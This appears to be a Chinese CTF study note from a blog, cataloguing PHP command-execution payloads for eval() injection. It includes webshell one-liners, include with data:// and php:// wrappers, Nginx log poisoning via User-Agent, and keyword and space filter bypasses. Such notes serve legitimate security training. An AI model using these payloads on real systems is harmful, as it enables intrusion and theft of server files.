一、eval()函数调用--无严格过滤:
1、highlight_file()高亮显示:
?c=highlight_file(base64_decode("ZmxhZy5waHA="));
2、shell命令:
?c=system("tac fl*g.php");
?c=system("cat fl*g.php");
3、echo直接打印:(使用反引号包裹shell命令)
?c=echo 'tac fla*.php';
4、一句话木马:
?c=@eval($_GET[1]);&1=system("tac flag.php");
一句话木马 + cp拷贝命令:
?c=@eval($_GET[1]);&1=system("cp flag.php a.txt");
一句话木马 + php伪协议:
?c=@eval($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
5、include包含 + 伪协议:
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
?c=include$_GET[1]?>&1=php://input
+ POST提交PHP命令执行代码
6、Nginx日志注入:
Nginx日志默认路径-->/var/log/nginx/access.log
?c=include$_GET[1]?>&1=../../../../var/log/nginx/access.log
通过UA头写入一句话木马-->system指令 / 蚁剑连接
7、php函数调用绕过关键字符过滤:
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。
代码演示:
localeconv()函数:
pos(localeconv()):指向第一个元素,不改变指针
scandir(pos(localeconv()))-->参数为.以此遍历当前目录
通过遍历目录-->获取flag.php文件的具体位置:
?c=var_dump(scandir(pos(localeconv())));
再通过next()和array_reverse()令指针指向flag.php所在位置-->show_source()读取即可:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
二、include()函数使用不当导致命令执行:
详见 --> 文件包含与伪协议
三、分隔符 " ; " " || " " & " " && " 的使用:
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
(ctfshow-web42)
使用 || 只执行第一条命令:
?c=tac flag.php ||
四、关键字、关键符号、空格的绕过:
(1) 禁用 flag、tac等关键字:
flag --> fl*g
flag --> fla?
flag --> fl''ag
(2) 禁用 空格:
空格 --> ${IFS}、%09、< 等绕过方式
标签:php,--,localeconv,pos,命令,flag,数组,绕过,PHP
From: https://www.cnblogs.com/kgty/p/18362576